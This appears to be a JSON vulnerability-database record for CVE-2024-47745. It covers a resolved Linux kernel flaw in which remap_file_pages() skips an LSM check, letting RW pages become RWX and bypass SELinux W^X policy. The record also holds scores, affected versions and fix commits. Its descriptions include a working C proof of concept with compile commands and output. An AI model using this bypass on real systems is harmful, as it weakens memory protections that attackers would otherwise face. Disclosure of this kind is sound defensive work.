{"id":"CVE-2024-47745","aliases":["CVE-2024-47745"],"related":[],"kind":"vulnerability","state":"published","title":"mm: call the security_mmap_file() LSM hook in remap_file_pages()","summary":"In the Linux kernel, the following vulnerability has been resolved:\n\nmm: call the security_mmap_file() LSM hook in remap_file_pages()\n\nThe remap_file_pages syscall handler calls do_mmap() directly, which\ndoesn't contain the LSM security check. And if the process has called\npersonality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for\nRW pages, this will actually result in remapping the pages to RWX,\nbypassing a W^X policy enforced by SELinux.\n\nSo we should check prot by security_mmap_file LSM hook in the\nremap_file_pages syscall handler before do_mmap() is called. Otherwise, it\npotentially permits an attacker to bypass a W^X policy enforced by\nSELinux.\n\nThe bypass is similar to CVE-2016-10044, which bypass the same thing via\nAIO and can be found in [1].\n\nThe PoC:\n\n$ cat > test.c\n\nint main(void) {\n\tsize_t pagesz = sysconf(_SC_PAGE_SIZE);\n\tint mfd = syscall(SYS_memfd_create, \"test\", 0);\n\tconst char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,\n\t\tMAP_SHARED, mfd, 0);\n\tunsigned int old = syscall(SYS_personality, 0xffffffff);\n\tsyscall(SYS_personality, READ_IMPLIES_EXEC | old);\n\tsyscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);\n\tsyscall(SYS_personality, old);\n\t// show the RWX page exists even if W^X policy is enforced\n\tint fd = open(\"/proc/self/maps\", O_RDONLY);\n\tunsigned char buf2[1024];\n\twhile (1) {\n\t\tint ret = read(fd, buf2, 1024);\n\t\tif (ret <= 0) break;\n\t\twrite(1, buf2, ret);\n\t}\n\tclose(fd);\n}\n\n$ gcc test.c -o test\n$ ./test | grep rwx\n7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)\n\n[PM: subject line tweaks]","summarySource":"cvelist","descriptions":[{"lang":"en","text":"In the Linux kernel, the following vulnerability has been resolved:\n\nmm: call the security_mmap_file() LSM hook in remap_file_pages()\n\nThe remap_file_pages syscall handler calls do_mmap() directly, which\ndoesn't contain the LSM security check. And if the process has called\npersonality(READ_IMPLIES_EXEC) before and remap_file_pages() is called for\nRW pages, this will actually result in remapping the pages to RWX,\nbypassing a W^X policy enforced by SELinux.\n\nSo we should check prot by security_mmap_file LSM hook in the\nremap_file_pages syscall handler before do_mmap() is called. Otherwise, it\npotentially permits an attacker to bypass a W^X policy enforced by\nSELinux.\n\nThe bypass is similar to CVE-2016-10044, which bypass the same thing via\nAIO and can be found in [1].\n\nThe PoC:\n\n$ cat > test.c\n\nint main(void) {\n\tsize_t pagesz = sysconf(_SC_PAGE_SIZE);\n\tint mfd = syscall(SYS_memfd_create, \"test\", 0);\n\tconst char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE,\n\t\tMAP_SHARED, mfd, 0);\n\tunsigned int old = syscall(SYS_personality, 0xffffffff);\n\tsyscall(SYS_personality, READ_IMPLIES_EXEC | old);\n\tsyscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0);\n\tsyscall(SYS_personality, old);\n\t// show the RWX page exists even if W^X policy is enforced\n\tint fd = open(\"/proc/self/maps\", O_RDONLY);\n\tunsigned char buf2[1024];\n\twhile (1) {\n\t\tint ret = read(fd, buf2, 1024);\n\t\tif (ret <= 0) break;\n\t\twrite(1, buf2, ret);\n\t}\n\tclose(fd);\n}\n\n$ gcc test.c -o test\n$ ./test | grep rwx\n7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (deleted)\n\n[PM: subject line tweaks]","source":"cvelist"},{"lang":"es","text":"En el kernel de Linux, se ha resuelto la siguiente vulnerabilidad: mm: llamar al gancho LSM security_mmap_file() en remap_file_pages() El controlador de llamadas al sistema remap_file_pages llama a do_mmap() directamente, que no contiene la comprobación de seguridad LSM. Y si el proceso ha llamado a personality(READ_IMPLIES_EXEC) antes y se llama a remap_file_pages() para páginas RW, esto realmente dará como resultado la reasignación de las páginas a RWX, omitiendo una política W^X aplicada por SELinux. Por lo tanto, deberíamos comprobar prot mediante el gancho LSM security_mmap_file en el controlador de llamadas al sistema remap_file_pages antes de que se llame a do_mmap(). De lo contrario, potencialmente permite que un atacante omita una política W^X aplicada por SELinux. La omisión es similar a CVE-2016-10044, que omite lo mismo a través de AIO y se puede encontrar en [1]. La PoC: $ cat &gt; test.c int main(void) { size_t pagesz = sysconf(_SC_PAGE_SIZE); int mfd = syscall(SYS_memfd_create, \"test\", 0); const char *buf = mmap(NULL, 4 * pagesz, PROT_READ | PROT_WRITE, MAP_SHARED, mfd, 0); unsigned int old = syscall(SYS_personality, 0xffffffff); syscall(SYS_personality, READ_IMPLIES_EXEC | old); syscall(SYS_remap_file_pages, buf, pagesz, 0, 2, 0); syscall(SYS_personality, old); // muestra que la página RWX existe incluso si se aplica la política W^X int fd = open(\"/proc/self/maps\", O_RDONLY); unsigned char buf2[1024]; while (1) { int ret = read(fd, buf2, 1024); if (ret &lt;= 0) break; write(1, buf2, ret); } close(fd); } $ gcc test.c -o test $ ./test | grep rwx 7f1836c34000-7f1836c35000 rwxs 00002000 00:01 2050 /memfd:test (eliminado) [MP: ajustes en la línea de asunto]","source":"nvd"}],"published":"2024-10-21T12:14:12.488Z","modified":"2026-11-23T08:17:12.340Z","severity":{"scorer":"Linux","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":7.8,"rating":"HIGH"},"severities":[{"scorer":"Linux","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":7.8,"rating":"HIGH"},{"scorer":"NVD","scheme":"CVSS:3.1","vector":"CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","score":7.8,"rating":"HIGH"}],"cwes":["CWE-670"],"affected":[{"ranges":[{"type":"git","introduced":"c8d78c1823f46519473949d33f0d1d33fe21ea16","fixed":"cbd964763fad80b5fb6a2ee40783563933e8083f","status":"affected"},{"type":"git","introduced":"c8d78c1823f46519473949d33f0d1d33fe21ea16","fixed":"0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1","status":"affected"},{"type":"git","introduced":"c8d78c1823f46519473949d33f0d1d33fe21ea16","fixed":"49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178","status":"affected"},{"type":"git","introduced":"c8d78c1823f46519473949d33f0d1d33fe21ea16","fixed":"3393fddbfa947c8e1fdcc4509226905ffffd8b89","status":"affected"},{"type":"git","introduced":"c8d78c1823f46519473949d33f0d1d33fe21ea16","fixed":"ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3","status":"affected"},{"type":"git","introduced":"c8d78c1823f46519473949d33f0d1d33fe21ea16","fixed":"ea7e2d5e49c05e5db1922387b09ca74aa40f46e2","status":"affected"},{"type":"git","version":"097f98edde717ce09f217d8a285fe357dcd29fd1","status":"affected"},{"type":"semver","introduced":"3.16.59","fixed":"3.17","status":"affected"}],"vendor":"Linux","product":"Linux","repo":"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git","source":"cvelist"},{"ranges":[{"version":"4.0","status":"affected"},{"type":"semver","introduced":"0","fixed":"4.0","status":"unaffected"},{"type":"semver","introduced":"5.15.226","lastAffected":"5.15.*","status":"unaffected"},{"type":"semver","introduced":"6.1.120","lastAffected":"6.1.*","status":"unaffected"},{"type":"semver","introduced":"6.6.54","lastAffected":"6.6.*","status":"unaffected"},{"type":"semver","introduced":"6.10.13","lastAffected":"6.10.*","status":"unaffected"},{"type":"semver","introduced":"6.11.2","lastAffected":"6.11.*","status":"unaffected"},{"type":"original_commit_for_fix","introduced":"6.12","lastAffected":"*","status":"unaffected"}],"vendor":"Linux","product":"Linux","repo":"https://git.kernel.org/pub/scm/linux/kernel/git/stable/linux.git","source":"cvelist"},{"ranges":[{"status":"affected","version":"11.0"}],"vendor":"debian","product":"debian_linux","cpe":"cpe:2.3:o:debian:debian_linux:11.0:*:*:*:*:*:*:*","source":"nvd"},{"ranges":[{"status":"affected","fixed":"6.1.120"},{"status":"affected","introduced":"6.2","fixed":"6.6.54"},{"status":"affected","introduced":"6.7","fixed":"6.10.13"},{"status":"affected","introduced":"6.11","fixed":"6.11.2"}],"vendor":"linux","product":"linux_kernel","cpe":"cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*","source":"nvd"}],"references":[{"url":"https://git.kernel.org/stable/c/cbd964763fad80b5fb6a2ee40783563933e8083f","tags":[],"sources":["cvelist","nvd"]},{"url":"https://git.kernel.org/stable/c/0f910dbf2f2a4a7820ba4bac7b280f7108aa05b1","tags":["patch"],"sources":["cvelist","nvd"]},{"url":"https://git.kernel.org/stable/c/49d3a4ad57c57227c3b0fd6cd4188b2a5ebd6178","tags":["patch"],"sources":["cvelist","nvd"]},{"url":"https://git.kernel.org/stable/c/3393fddbfa947c8e1fdcc4509226905ffffd8b89","tags":["patch"],"sources":["cvelist","nvd"]},{"url":"https://git.kernel.org/stable/c/ce14f38d6ee9e88e37ec28427b4b93a7c33c70d3","tags":["patch"],"sources":["cvelist","nvd"]},{"url":"https://git.kernel.org/stable/c/ea7e2d5e49c05e5db1922387b09ca74aa40f46e2","tags":["patch"],"sources":["cvelist","nvd"]},{"url":"https://lists.debian.org/debian-lts-announce/2025/03/msg00001.html","tags":["mailing-list","third-party-advisory"],"sources":["cvelist","nvd"]}],"credits":[],"assigner":"Linux","ssvc":{"scorer":"CISA-ADP","exploitation":"none","automatable":"no","technicalImpact":"partial","date":"2024-10-21T12:58:41.257Z"},"sources":[{"source":"cvelist","name":"CVE List","id":"CVE-2024-47745","url":"https://www.cve.org/CVERecord?id=CVE-2024-47745","licence":"CVE Terms of Use","modified":"2026-11-23T07:58:29.607Z"},{"source":"nvd","name":"NVD","id":"CVE-2024-47745","url":"https://nvd.nist.gov/vuln/detail/CVE-2024-47745","licence":"Public domain","modified":"2026-11-23T08:17:12.340Z"}],"updatedAt":"2026-11-25T22:58:46.998Z","epss":{"score":0.00286,"percentile":0.22669,"date":"2026-12-02T12:00:21.000Z"}}